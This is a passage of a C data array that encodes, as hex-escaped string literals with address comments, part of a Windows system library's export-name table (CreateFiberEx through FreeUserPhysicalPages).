"\x65\x46\x69\x62\x65\x72\x00\x43\x72\x65\x61\x74\x65\x46\x69\x62" // eFiber.CreateFib /* 7C805120 */ "\x65\x72\x45\x78\x00\x43\x72\x65\x61\x74\x65\x46\x69\x6C\x65\x41" // erEx.CreateFileA /* 7C805130 */ "\x00\x43\x72\x65\x61\x74\x65\x46\x69\x6C\x65\x4D\x61\x70\x70\x69" // .CreateFileMappi /* 7C805140 */ "\x6E\x67\x41\x00\x43\x72\x65\x61\x74\x65\x46\x69\x6C\x65\x4D\x61" // ngA.CreateFileMa /* 7C805150 */ "\x70\x70\x69\x6E\x67\x57\x00\x43\x72\x65\x61\x74\x65\x46\x69\x6C" // ppingW.CreateFil /* 7C805160 */ "\x65\x57\x00\x43\x72\x65\x61\x74\x65\x48\x61\x72\x64\x4C\x69\x6E" // eW.CreateHardLin /* 7C805170 */ "\x6B\x41\x00\x43\x72\x65\x61\x74\x65\x48\x61\x72\x64\x4C\x69\x6E" // kA.CreateHardLin /* 7C805180 */ "\x6B\x57\x00\x43\x72\x65\x61\x74\x65\x49\x6F\x43\x6F\x6D\x70\x6C" // kW.CreateIoCompl /* 7C805190 */ "\x65\x74\x69\x6F\x6E\x50\x6F\x72\x74\x00\x43\x72\x65\x61\x74\x65" // etionPort.Create /* 7C8051A0 */ "\x4A\x6F\x62\x4F\x62\x6A\x65\x63\x74\x41\x00\x43\x72\x65\x61\x74" // JobObjectA.Creat /* 7C8051B0 */ "\x65\x4A\x6F\x62\x4F\x62\x6A\x65\x63\x74\x57\x00\x43\x72\x65\x61" // eJobObjectW.Crea /* 7C8051C0 */ "\x74\x65\x4A\x6F\x62\x53\x65\x74\x00\x43\x72\x65\x61\x74\x65\x4D" // teJobSet.CreateM /* 7C8051D0 */ "\x61\x69\x6C\x73\x6C\x6F\x74\x41\x00\x43\x72\x65\x61\x74\x65\x4D" // ailslotA.CreateM /* 7C8051E0 */ "\x61\x69\x6C\x73\x6C\x6F\x74\x57\x00\x43\x72\x65\x61\x74\x65\x4D" // ailslotW.CreateM /* 7C8051F0 */ "\x65\x6D\x6F\x72\x79\x52\x65\x73\x6F\x75\x72\x63\x65\x4E\x6F\x74" // emoryResourceNot /* 7C805200 */ "\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x00\x43\x72\x65\x61\x74\x65" // ification.Create /* 7C805210 */ "\x4D\x75\x74\x65\x78\x41\x00\x43\x72\x65\x61\x74\x65\x4D\x75\x74" // MutexA.CreateMut /* 7C805220 */ "\x65\x78\x57\x00\x43\x72\x65\x61\x74\x65\x4E\x61\x6D\x65\x64\x50" // exW.CreateNamedP /* 7C805230 */ "\x69\x70\x65\x41\x00\x43\x72\x65\x61\x74\x65\x4E\x61\x6D\x65\x64" // ipeA.CreateNamed /* 7C805240 */ "\x50\x69\x70\x65\x57\x00\x43\x72\x65\x61\x74\x65\x4E\x6C\x73\x53" // PipeW.CreateNlsS /* 7C805250 */ "\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F" // ecurityDescripto /* 7C805260 */ "\x72\x00\x43\x72\x65\x61\x74\x65\x50\x69\x70\x65\x00\x43\x72\x65" // r.CreatePipe.Cre /* 7C805270 */ "\x61\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x41\x00\x43\x72\x65\x61" // ateProcessA.Crea /* 7C805280 */ "\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x49\x6E\x74\x65\x72\x6E\x61" // teProcessInterna /* 7C805290 */ "\x6C\x41\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65\x73\x73" // lA.CreateProcess /* 7C8052A0 */ "\x49\x6E\x74\x65\x72\x6E\x61\x6C\x57\x00\x43\x72\x65\x61\x74\x65" // InternalW.Create /* 7C8052B0 */ "\x50\x72\x6F\x63\x65\x73\x73\x49\x6E\x74\x65\x72\x6E\x61\x6C\x57" // ProcessInternalW /* 7C8052C0 */ "\x53\x65\x63\x75\x72\x65\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F" // Secure.CreatePro /* 7C8052D0 */ "\x63\x65\x73\x73\x57\x00\x43\x72\x65\x61\x74\x65\x52\x65\x6D\x6F" // cessW.CreateRemo /* 7C8052E0 */ "\x74\x65\x54\x68\x72\x65\x61\x64\x00\x43\x72\x65\x61\x74\x65\x53" // teThread.CreateS /* 7C8052F0 */ "\x65\x6D\x61\x70\x68\x6F\x72\x65\x41\x00\x43\x72\x65\x61\x74\x65" // emaphoreA.Create /* 7C805300 */ "\x53\x65\x6D\x61\x70\x68\x6F\x72\x65\x57\x00\x43\x72\x65\x61\x74" // SemaphoreW.Creat /* 7C805310 */ "\x65\x53\x6F\x63\x6B\x65\x74\x48\x61\x6E\x64\x6C\x65\x00\x43\x72" // eSocketHandle.Cr /* 7C805320 */ "\x65\x61\x74\x65\x54\x61\x70\x65\x50\x61\x72\x74\x69\x74\x69\x6F" // eateTapePartitio /* 7C805330 */ "\x6E\x00\x43\x72\x65\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00\x43" // n.CreateThread.C /* 7C805340 */ "\x72\x65\x61\x74\x65\x54\x69\x6D\x65\x72\x51\x75\x65\x75\x65\x00" // reateTimerQueue. /* 7C805350 */ "\x43\x72\x65\x61\x74\x65\x54\x69\x6D\x65\x72\x51\x75\x65\x75\x65" // CreateTimerQueue /* 7C805360 */ "\x54\x69\x6D\x65\x72\x00\x43\x72\x65\x61\x74\x65\x54\x6F\x6F\x6C" // Timer.CreateTool /* 7C805370 */ "\x68\x65\x6C\x70\x33\x32\x53\x6E\x61\x70\x73\x68\x6F\x74\x00\x43" // help32Snapshot.C /* 7C805380 */ "\x72\x65\x61\x74\x65\x56\x69\x72\x74\x75\x61\x6C\x42\x75\x66\x66" // reateVirtualBuff /* 7C805390 */ "\x65\x72\x00\x43\x72\x65\x61\x74\x65\x57\x61\x69\x74\x61\x62\x6C" // er.CreateWaitabl /* 7C8053A0 */ "\x65\x54\x69\x6D\x65\x72\x41\x00\x43\x72\x65\x61\x74\x65\x57\x61" // eTimerA.CreateWa /* 7C8053B0 */ "\x69\x74\x61\x62\x6C\x65\x54\x69\x6D\x65\x72\x57\x00\x44\x65\x61" // itableTimerW.Dea /* 7C8053C0 */ "\x63\x74\x69\x76\x61\x74\x65\x41\x63\x74\x43\x74\x78\x00\x44\x65" // ctivateActCtx.De /* 7C8053D0 */ "\x62\x75\x67\x41\x63\x74\x69\x76\x65\x50\x72\x6F\x63\x65\x73\x73" // bugActiveProcess /* 7C8053E0 */ "\x00\x44\x65\x62\x75\x67\x41\x63\x74\x69\x76\x65\x50\x72\x6F\x63" // .DebugActiveProc /* 7C8053F0 */ "\x65\x73\x73\x53\x74\x6F\x70\x00\x44\x65\x62\x75\x67\x42\x72\x65" // essStop.DebugBre /* 7C805400 */ "\x61\x6B\x00\x44\x65\x62\x75\x67\x42\x72\x65\x61\x6B\x50\x72\x6F" // ak.DebugBreakPro /* 7C805410 */ "\x63\x65\x73\x73\x00\x44\x65\x62\x75\x67\x53\x65\x74\x50\x72\x6F" // cess.DebugSetPro /* 7C805420 */ "\x63\x65\x73\x73\x4B\x69\x6C\x6C\x4F\x6E\x45\x78\x69\x74\x00\x44" // cessKillOnExit.D /* 7C805430 */ "\x65\x63\x6F\x64\x65\x50\x6F\x69\x6E\x74\x65\x72\x00\x44\x65\x63" // ecodePointer.Dec /* 7C805440 */ "\x6F\x64\x65\x53\x79\x73\x74\x65\x6D\x50\x6F\x69\x6E\x74\x65\x72" // odeSystemPointer /* 7C805450 */ "\x00\x44\x65\x66\x69\x6E\x65\x44\x6F\x73\x44\x65\x76\x69\x63\x65" // .DefineDosDevice /* 7C805460 */ "\x41\x00\x44\x65\x66\x69\x6E\x65\x44\x6F\x73\x44\x65\x76\x69\x63" // A.DefineDosDevic /* 7C805470 */ "\x65\x57\x00\x44\x65\x6C\x61\x79\x4C\x6F\x61\x64\x46\x61\x69\x6C" // eW.DelayLoadFail /* 7C805480 */ "\x75\x72\x65\x48\x6F\x6F\x6B\x00\x44\x65\x6C\x65\x74\x65\x41\x74" // ureHook.DeleteAt /* 7C805490 */ "\x6F\x6D\x00\x44\x65\x6C\x65\x74\x65\x43\x72\x69\x74\x69\x63\x61" // om.DeleteCritica /* 7C8054A0 */ "\x6C\x53\x65\x63\x74\x69\x6F\x6E\x00\x44\x65\x6C\x65\x74\x65\x46" // lSection.DeleteF /* 7C8054B0 */ "\x69\x62\x65\x72\x00\x44\x65\x6C\x65\x74\x65\x46\x69\x6C\x65\x41" // iber.DeleteFileA /* 7C8054C0 */ "\x00\x44\x65\x6C\x65\x74\x65\x46\x69\x6C\x65\x57\x00\x44\x65\x6C" // .DeleteFileW.Del /* 7C8054D0 */ "\x65\x74\x65\x54\x69\x6D\x65\x72\x51\x75\x65\x75\x65\x00\x44\x65" // eteTimerQueue.De /* 7C8054E0 */ "\x6C\x65\x74\x65\x54\x69\x6D\x65\x72\x51\x75\x65\x75\x65\x45\x78" // leteTimerQueueEx /* 7C8054F0 */ "\x00\x44\x65\x6C\x65\x74\x65\x54\x69\x6D\x65\x72\x51\x75\x65\x75" // .DeleteTimerQueu /* 7C805500 */ "\x65\x54\x69\x6D\x65\x72\x00\x44\x65\x6C\x65\x74\x65\x56\x6F\x6C" // eTimer.DeleteVol /* 7C805510 */ "\x75\x6D\x65\x4D\x6F\x75\x6E\x74\x50\x6F\x69\x6E\x74\x41\x00\x44" // umeMountPointA.D /* 7C805520 */ "\x65\x6C\x65\x74\x65\x56\x6F\x6C\x75\x6D\x65\x4D\x6F\x75\x6E\x74" // eleteVolumeMount /* 7C805530 */ "\x50\x6F\x69\x6E\x74\x57\x00\x44\x65\x76\x69\x63\x65\x49\x6F\x43" // PointW.DeviceIoC /* 7C805540 */ "\x6F\x6E\x74\x72\x6F\x6C\x00\x44\x69\x73\x61\x62\x6C\x65\x54\x68" // ontrol.DisableTh /* 7C805550 */ "\x72\x65\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x43\x61\x6C\x6C\x73" // readLibraryCalls /* 7C805560 */ "\x00\x44\x69\x73\x63\x6F\x6E\x6E\x65\x63\x74\x4E\x61\x6D\x65\x64" // .DisconnectNamed /* 7C805570 */ "\x50\x69\x70\x65\x00\x44\x6E\x73\x48\x6F\x73\x74\x6E\x61\x6D\x65" // Pipe.DnsHostname /* 7C805580 */ "\x54\x6F\x43\x6F\x6D\x70\x75\x74\x65\x72\x4E\x61\x6D\x65\x41\x00" // ToComputerNameA. /* 7C805590 */ "\x44\x6E\x73\x48\x6F\x73\x74\x6E\x61\x6D\x65\x54\x6F\x43\x6F\x6D" // DnsHostnameToCom /* 7C8055A0 */ "\x70\x75\x74\x65\x72\x4E\x61\x6D\x65\x57\x00\x44\x6F\x73\x44\x61" // puterNameW.DosDa /* 7C8055B0 */ "\x74\x65\x54\x69\x6D\x65\x54\x6F\x46\x69\x6C\x65\x54\x69\x6D\x65" // teTimeToFileTime /* 7C8055C0 */ "\x00\x44\x6F\x73\x50\x61\x74\x68\x54\x6F\x53\x65\x73\x73\x69\x6F" // .DosPathToSessio /* 7C8055D0 */ "\x6E\x50\x61\x74\x68\x41\x00\x44\x6F\x73\x50\x61\x74\x68\x54\x6F" // nPathA.DosPathTo /* 7C8055E0 */ "\x53\x65\x73\x73\x69\x6F\x6E\x50\x61\x74\x68\x57\x00\x44\x75\x70" // SessionPathW.Dup /* 7C8055F0 */ "\x6C\x69\x63\x61\x74\x65\x43\x6F\x6E\x73\x6F\x6C\x65\x48\x61\x6E" // licateConsoleHan /* 7C805600 */ "\x64\x6C\x65\x00\x44\x75\x70\x6C\x69\x63\x61\x74\x65\x48\x61\x6E" // dle.DuplicateHan /* 7C805610 */ "\x64\x6C\x65\x00\x45\x6E\x63\x6F\x64\x65\x50\x6F\x69\x6E\x74\x65" // dle.EncodePointe /* 7C805620 */ "\x72\x00\x45\x6E\x63\x6F\x64\x65\x53\x79\x73\x74\x65\x6D\x50\x6F" // r.EncodeSystemPo /* 7C805630 */ "\x69\x6E\x74\x65\x72\x00\x45\x6E\x64\x55\x70\x64\x61\x74\x65\x52" // inter.EndUpdateR /* 7C805640 */ "\x65\x73\x6F\x75\x72\x63\x65\x41\x00\x45\x6E\x64\x55\x70\x64\x61" // esourceA.EndUpda /* 7C805650 */ "\x74\x65\x52\x65\x73\x6F\x75\x72\x63\x65\x57\x00\x45\x6E\x74\x65" // teResourceW.Ente /* 7C805660 */ "\x72\x43\x72\x69\x74\x69\x63\x61\x6C\x53\x65\x63\x74\x69\x6F\x6E" // rCriticalSection /* 7C805670 */ "\x00\x45\x6E\x75\x6D\x43\x61\x6C\x65\x6E\x64\x61\x72\x49\x6E\x66" // .EnumCalendarInf /* 7C805680 */ "\x6F\x41\x00\x45\x6E\x75\x6D\x43\x61\x6C\x65\x6E\x64\x61\x72\x49" // oA.EnumCalendarI /* 7C805690 */ "\x6E\x66\x6F\x45\x78\x41\x00\x45\x6E\x75\x6D\x43\x61\x6C\x65\x6E" // nfoExA.EnumCalen /* 7C8056A0 */ "\x64\x61\x72\x49\x6E\x66\x6F\x45\x78\x57\x00\x45\x6E\x75\x6D\x43" // darInfoExW.EnumC /* 7C8056B0 */ "\x61\x6C\x65\x6E\x64\x61\x72\x49\x6E\x66\x6F\x57\x00\x45\x6E\x75" // alendarInfoW.Enu /* 7C8056C0 */ "\x6D\x44\x61\x74\x65\x46\x6F\x72\x6D\x61\x74\x73\x41\x00\x45\x6E" // mDateFormatsA.En /* 7C8056D0 */ "\x75\x6D\x44\x61\x74\x65\x46\x6F\x72\x6D\x61\x74\x73\x45\x78\x41" // umDateFormatsExA /* 7C8056E0 */ "\x00\x45\x6E\x75\x6D\x44\x61\x74\x65\x46\x6F\x72\x6D\x61\x74\x73" // .EnumDateFormats /* 7C8056F0 */ "\x45\x78\x57\x00\x45\x6E\x75\x6D\x44\x61\x74\x65\x46\x6F\x72\x6D" // ExW.EnumDateForm /* 7C805700 */ "\x61\x74\x73\x57\x00\x45\x6E\x75\x6D\x4C\x61\x6E\x67\x75\x61\x67" // atsW.EnumLanguag /* 7C805710 */ "\x65\x47\x72\x6F\x75\x70\x4C\x6F\x63\x61\x6C\x65\x73\x41\x00\x45" // eGroupLocalesA.E /* 7C805720 */ "\x6E\x75\x6D\x4C\x61\x6E\x67\x75\x61\x67\x65\x47\x72\x6F\x75\x70" // numLanguageGroup /* 7C805730 */ "\x4C\x6F\x63\x61\x6C\x65\x73\x57\x00\x45\x6E\x75\x6D\x52\x65\x73" // LocalesW.EnumRes /* 7C805740 */ "\x6F\x75\x72\x63\x65\x4C\x61\x6E\x67\x75\x61\x67\x65\x73\x41\x00" // ourceLanguagesA. /* 7C805750 */ "\x45\x6E\x75\x6D\x52\x65\x73\x6F\x75\x72\x63\x65\x4C\x61\x6E\x67" // EnumResourceLang /* 7C805760 */ "\x75\x61\x67\x65\x73\x57\x00\x45\x6E\x75\x6D\x52\x65\x73\x6F\x75" // uagesW.EnumResou /* 7C805770 */ "\x72\x63\x65\x4E\x61\x6D\x65\x73\x41\x00\x45\x6E\x75\x6D\x52\x65" // rceNamesA.EnumRe /* 7C805780 */ "\x73\x6F\x75\x72\x63\x65\x4E\x61\x6D\x65\x73\x57\x00\x45\x6E\x75" // sourceNamesW.Enu /* 7C805790 */ "\x6D\x52\x65\x73\x6F\x75\x72\x63\x65\x54\x79\x70\x65\x73\x41\x00" // mResourceTypesA. /* 7C8057A0 */ "\x45\x6E\x75\x6D\x52\x65\x73\x6F\x75\x72\x63\x65\x54\x79\x70\x65" // EnumResourceType /* 7C8057B0 */ "\x73\x57\x00\x45\x6E\x75\x6D\x53\x79\x73\x74\x65\x6D\x43\x6F\x64" // sW.EnumSystemCod /* 7C8057C0 */ "\x65\x50\x61\x67\x65\x73\x41\x00\x45\x6E\x75\x6D\x53\x79\x73\x74" // ePagesA.EnumSyst /* 7C8057D0 */ "\x65\x6D\x43\x6F\x64\x65\x50\x61\x67\x65\x73\x57\x00\x45\x6E\x75" // emCodePagesW.Enu /* 7C8057E0 */ "\x6D\x53\x79\x73\x74\x65\x6D\x47\x65\x6F\x49\x44\x00\x45\x6E\x75" // mSystemGeoID.Enu /* 7C8057F0 */ "\x6D\x53\x79\x73\x74\x65\x6D\x4C\x61\x6E\x67\x75\x61\x67\x65\x47" // mSystemLanguageG /* 7C805800 */ "\x72\x6F\x75\x70\x73\x41\x00\x45\x6E\x75\x6D\x53\x79\x73\x74\x65" // roupsA.EnumSyste /* 7C805810 */ "\x6D\x4C\x61\x6E\x67\x75\x61\x67\x65\x47\x72\x6F\x75\x70\x73\x57" // mLanguageGroupsW /* 7C805820 */ "\x00\x45\x6E\x75\x6D\x53\x79\x73\x74\x65\x6D\x4C\x6F\x63\x61\x6C" // .EnumSystemLocal /* 7C805830 */ "\x65\x73\x41\x00\x45\x6E\x75\x6D\x53\x79\x73\x74\x65\x6D\x4C\x6F" // esA.EnumSystemLo /* 7C805840 */ "\x63\x61\x6C\x65\x73\x57\x00\x45\x6E\x75\x6D\x54\x69\x6D\x65\x46" // calesW.EnumTimeF /* 7C805850 */ "\x6F\x72\x6D\x61\x74\x73\x41\x00\x45\x6E\x75\x6D\x54\x69\x6D\x65" // ormatsA.EnumTime /* 7C805860 */ "\x46\x6F\x72\x6D\x61\x74\x73\x57\x00\x45\x6E\x75\x6D\x55\x49\x4C" // FormatsW.EnumUIL /* 7C805870 */ "\x61\x6E\x67\x75\x61\x67\x65\x73\x41\x00\x45\x6E\x75\x6D\x55\x49" // anguagesA.EnumUI /* 7C805880 */ "\x4C\x61\x6E\x67\x75\x61\x67\x65\x73\x57\x00\x45\x6E\x75\x6D\x65" // LanguagesW.Enume /* 7C805890 */ "\x72\x61\x74\x65\x4C\x6F\x63\x61\x6C\x43\x6F\x6D\x70\x75\x74\x65" // rateLocalCompute /* 7C8058A0 */ "\x72\x4E\x61\x6D\x65\x73\x41\x00\x45\x6E\x75\x6D\x65\x72\x61\x74" // rNamesA.Enumerat /* 7C8058B0 */ "\x65\x4C\x6F\x63\x61\x6C\x43\x6F\x6D\x70\x75\x74\x65\x72\x4E\x61" // eLocalComputerNa /* 7C8058C0 */ "\x6D\x65\x73\x57\x00\x45\x72\x61\x73\x65\x54\x61\x70\x65\x00\x45" // mesW.EraseTape.E /* 7C8058D0 */ "\x73\x63\x61\x70\x65\x43\x6F\x6D\x6D\x46\x75\x6E\x63\x74\x69\x6F" // scapeCommFunctio /* 7C8058E0 */ "\x6E\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x45\x78" // n.ExitProcess.Ex /* 7C8058F0 */ "\x69\x74\x54\x68\x72\x65\x61\x64\x00\x45\x78\x69\x74\x56\x44\x4D" // itThread.ExitVDM /* 7C805900 */ "\x00\x45\x78\x70\x61\x6E\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65" // .ExpandEnvironme /* 7C805910 */ "\x6E\x74\x53\x74\x72\x69\x6E\x67\x73\x41\x00\x45\x78\x70\x61\x6E" // ntStringsA.Expan /* 7C805920 */ "\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69" // dEnvironmentStri /* 7C805930 */ "\x6E\x67\x73\x57\x00\x45\x78\x70\x75\x6E\x67\x65\x43\x6F\x6E\x73" // ngsW.ExpungeCons /* 7C805940 */ "\x6F\x6C\x65\x43\x6F\x6D\x6D\x61\x6E\x64\x48\x69\x73\x74\x6F\x72" // oleCommandHistor /* 7C805950 */ "\x79\x41\x00\x45\x78\x70\x75\x6E\x67\x65\x43\x6F\x6E\x73\x6F\x6C" // yA.ExpungeConsol /* 7C805960 */ "\x65\x43\x6F\x6D\x6D\x61\x6E\x64\x48\x69\x73\x74\x6F\x72\x79\x57" // eCommandHistoryW /* 7C805970 */ "\x00\x45\x78\x74\x65\x6E\x64\x56\x69\x72\x74\x75\x61\x6C\x42\x75" // .ExtendVirtualBu /* 7C805980 */ "\x66\x66\x65\x72\x00\x46\x61\x74\x61\x6C\x41\x70\x70\x45\x78\x69" // ffer.FatalAppExi /* 7C805990 */ "\x74\x41\x00\x46\x61\x74\x61\x6C\x41\x70\x70\x45\x78\x69\x74\x57" // tA.FatalAppExitW /* 7C8059A0 */ "\x00\x46\x61\x74\x61\x6C\x45\x78\x69\x74\x00\x46\x69\x6C\x65\x54" // .FatalExit.FileT /* 7C8059B0 */ "\x69\x6D\x65\x54\x6F\x44\x6F\x73\x44\x61\x74\x65\x54\x69\x6D\x65" // imeToDosDateTime /* 7C8059C0 */ "\x00\x46\x69\x6C\x65\x54\x69\x6D\x65\x54\x6F\x4C\x6F\x63\x61\x6C" // .FileTimeToLocal /* 7C8059D0 */ "\x46\x69\x6C\x65\x54\x69\x6D\x65\x00\x46\x69\x6C\x65\x54\x69\x6D" // FileTime.FileTim /* 7C8059E0 */ "\x65\x54\x6F\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x00\x46\x69" // eToSystemTime.Fi /* 7C8059F0 */ "\x6C\x6C\x43\x6F\x6E\x73\x6F\x6C\x65\x4F\x75\x74\x70\x75\x74\x41" // llConsoleOutputA /* 7C805A00 */ "\x74\x74\x72\x69\x62\x75\x74\x65\x00\x46\x69\x6C\x6C\x43\x6F\x6E" // ttribute.FillCon /* 7C805A10 */ "\x73\x6F\x6C\x65\x4F\x75\x74\x70\x75\x74\x43\x68\x61\x72\x61\x63" // soleOutputCharac /* 7C805A20 */ "\x74\x65\x72\x41\x00\x46\x69\x6C\x6C\x43\x6F\x6E\x73\x6F\x6C\x65" // terA.FillConsole /* 7C805A30 */ "\x4F\x75\x74\x70\x75\x74\x43\x68\x61\x72\x61\x63\x74\x65\x72\x57" // OutputCharacterW /* 7C805A40 */ "\x00\x46\x69\x6E\x64\x41\x63\x74\x43\x74\x78\x53\x65\x63\x74\x69" // .FindActCtxSecti /* 7C805A50 */ "\x6F\x6E\x47\x75\x69\x64\x00\x46\x69\x6E\x64\x41\x63\x74\x43\x74" // onGuid.FindActCt /* 7C805A60 */ "\x78\x53\x65\x63\x74\x69\x6F\x6E\x53\x74\x72\x69\x6E\x67\x41\x00" // xSectionStringA. /* 7C805A70 */ "\x46\x69\x6E\x64\x41\x63\x74\x43\x74\x78\x53\x65\x63\x74\x69\x6F" // FindActCtxSectio /* 7C805A80 */ "\x6E\x53\x74\x72\x69\x6E\x67\x57\x00\x46\x69\x6E\x64\x41\x74\x6F" // nStringW.FindAto /* 7C805A90 */ "\x6D\x41\x00\x46\x69\x6E\x64\x41\x74\x6F\x6D\x57\x00\x46\x69\x6E" // mA.FindAtomW.Fin /* 7C805AA0 */ "\x64\x43\x6C\x6F\x73\x65\x00\x46\x69\x6E\x64\x43\x6C\x6F\x73\x65" // dClose.FindClose /* 7C805AB0 */ "\x43\x68\x61\x6E\x67\x65\x4E\x6F\x74\x69\x66\x69\x63\x61\x74\x69" // ChangeNotificati /* 7C805AC0 */ "\x6F\x6E\x00\x46\x69\x6E\x64\x46\x69\x72\x73\x74\x43\x68\x61\x6E" // on.FindFirstChan /* 7C805AD0 */ "\x67\x65\x4E\x6F\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x41\x00" // geNotificationA. /* 7C805AE0 */ "\x46\x69\x6E\x64\x46\x69\x72\x73\x74\x43\x68\x61\x6E\x67\x65\x4E" // FindFirstChangeN /* 7C805AF0 */ "\x6F\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x57\x00\x46\x69\x6E" // otificationW.Fin /* 7C805B00 */ "\x64\x46\x69\x72\x73\x74\x46\x69\x6C\x65\x41\x00\x46\x69\x6E\x64" // dFirstFileA.Find /* 7C805B10 */ "\x46\x69\x72\x73\x74\x46\x69\x6C\x65\x45\x78\x41\x00\x46\x69\x6E" // FirstFileExA.Fin /* 7C805B20 */ "\x64\x46\x69\x72\x73\x74\x46\x69\x6C\x65\x45\x78\x57\x00\x46\x69" // dFirstFileExW.Fi /* 7C805B30 */ "\x6E\x64\x46\x69\x72\x73\x74\x46\x69\x6C\x65\x57\x00\x46\x69\x6E" // ndFirstFileW.Fin /* 7C805B40 */ "\x64\x46\x69\x72\x73\x74\x56\x6F\x6C\x75\x6D\x65\x41\x00\x46\x69" // dFirstVolumeA.Fi /* 7C805B50 */ "\x6E\x64\x46\x69\x72\x73\x74\x56\x6F\x6C\x75\x6D\x65\x4D\x6F\x75" // ndFirstVolumeMou /* 7C805B60 */ "\x6E\x74\x50\x6F\x69\x6E\x74\x41\x00\x46\x69\x6E\x64\x46\x69\x72" // ntPointA.FindFir /* 7C805B70 */ "\x73\x74\x56\x6F\x6C\x75\x6D\x65\x4D\x6F\x75\x6E\x74\x50\x6F\x69" // stVolumeMountPoi /* 7C805B80 */ "\x6E\x74\x57\x00\x46\x69\x6E\x64\x46\x69\x72\x73\x74\x56\x6F\x6C" // ntW.FindFirstVol /* 7C805B90 */ "\x75\x6D\x65\x57\x00\x46\x69\x6E\x64\x4E\x65\x78\x74\x43\x68\x61" // umeW.FindNextCha /* 7C805BA0 */ "\x6E\x67\x65\x4E\x6F\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x00" // ngeNotification. /* 7C805BB0 */ "\x46\x69\x6E\x64\x4E\x65\x78\x74\x46\x69\x6C\x65\x41\x00\x46\x69" // FindNextFileA.Fi /* 7C805BC0 */ "\x6E\x64\x4E\x65\x78\x74\x46\x69\x6C\x65\x57\x00\x46\x69\x6E\x64" // ndNextFileW.Find /* 7C805BD0 */ "\x4E\x65\x78\x74\x56\x6F\x6C\x75\x6D\x65\x41\x00\x46\x69\x6E\x64" // NextVolumeA.Find /* 7C805BE0 */ "\x4E\x65\x78\x74\x56\x6F\x6C\x75\x6D\x65\x4D\x6F\x75\x6E\x74\x50" // NextVolumeMountP /* 7C805BF0 */ "\x6F\x69\x6E\x74\x41\x00\x46\x69\x6E\x64\x4E\x65\x78\x74\x56\x6F" // ointA.FindNextVo /* 7C805C00 */ "\x6C\x75\x6D\x65\x4D\x6F\x75\x6E\x74\x50\x6F\x69\x6E\x74\x57\x00" // lumeMountPointW. /* 7C805C10 */ "\x46\x69\x6E\x64\x4E\x65\x78\x74\x56\x6F\x6C\x75\x6D\x65\x57\x00" // FindNextVolumeW. /* 7C805C20 */ "\x46\x69\x6E\x64\x52\x65\x73\x6F\x75\x72\x63\x65\x41\x00\x46\x69" // FindResourceA.Fi /* 7C805C30 */ "\x6E\x64\x52\x65\x73\x6F\x75\x72\x63\x65\x45\x78\x41\x00\x46\x69" // ndResourceExA.Fi /* 7C805C40 */ "\x6E\x64\x52\x65\x73\x6F\x75\x72\x63\x65\x45\x78\x57\x00\x46\x69" // ndResourceExW.Fi /* 7C805C50 */ "\x6E\x64\x52\x65\x73\x6F\x75\x72\x63\x65\x57\x00\x46\x69\x6E\x64" // ndResourceW.Find /* 7C805C60 */ "\x56\x6F\x6C\x75\x6D\x65\x43\x6C\x6F\x73\x65\x00\x46\x69\x6E\x64" // VolumeClose.Find /* 7C805C70 */ "\x56\x6F\x6C\x75\x6D\x65\x4D\x6F\x75\x6E\x74\x50\x6F\x69\x6E\x74" // VolumeMountPoint /* 7C805C80 */ "\x43\x6C\x6F\x73\x65\x00\x46\x6C\x75\x73\x68\x43\x6F\x6E\x73\x6F" // Close.FlushConso /* 7C805C90 */ "\x6C\x65\x49\x6E\x70\x75\x74\x42\x75\x66\x66\x65\x72\x00\x46\x6C" // leInputBuffer.Fl /* 7C805CA0 */ "\x75\x73\x68\x46\x69\x6C\x65\x42\x75\x66\x66\x65\x72\x73\x00\x46" // ushFileBuffers.F /* 7C805CB0 */ "\x6C\x75\x73\x68\x49\x6E\x73\x74\x72\x75\x63\x74\x69\x6F\x6E\x43" // lushInstructionC /* 7C805CC0 */ "\x61\x63\x68\x65\x00\x46\x6C\x75\x73\x68\x56\x69\x65\x77\x4F\x66" // ache.FlushViewOf /* 7C805CD0 */ "\x46\x69\x6C\x65\x00\x46\x6F\x6C\x64\x53\x74\x72\x69\x6E\x67\x41" // File.FoldStringA /* 7C805CE0 */ "\x00\x46\x6F\x6C\x64\x53\x74\x72\x69\x6E\x67\x57\x00\x46\x6F\x72" // .FoldStringW.For /* 7C805CF0 */ "\x6D\x61\x74\x4D\x65\x73\x73\x61\x67\x65\x41\x00\x46\x6F\x72\x6D" // matMessageA.Form /* 7C805D00 */ "\x61\x74\x4D\x65\x73\x73\x61\x67\x65\x57\x00\x46\x72\x65\x65\x43" // atMessageW.FreeC /* 7C805D10 */ "\x6F\x6E\x73\x6F\x6C\x65\x00\x46\x72\x65\x65\x45\x6E\x76\x69\x72" // onsole.FreeEnvir /* 7C805D20 */ "\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E\x67\x73\x41\x00\x46" // onmentStringsA.F /* 7C805D30 */ "\x72\x65\x65\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74" // reeEnvironmentSt /* 7C805D40 */ "\x72\x69\x6E\x67\x73\x57\x00\x46\x72\x65\x65\x4C\x69\x62\x72\x61" // ringsW.FreeLibra /* 7C805D50 */ "\x72\x79\x00\x46\x72\x65\x65\x4C\x69\x62\x72\x61\x72\x79\x41\x6E" // ry.FreeLibraryAn /* 7C805D60 */ "\x64\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00\x46\x72\x65\x65" // dExitThread.Free /* 7C805D70 */ "\x52\x65\x73\x6F\x75\x72\x63\x65\x00\x46\x72\x65\x65\x55\x73\x65" // Resource.FreeUse /* 7C805D80 */ "\x72\x50\x68\x79\x73\x69\x63\x61\x6C\x50\x61\x67\x65\x73\x00\x46" // rPhysicalPages.F /* 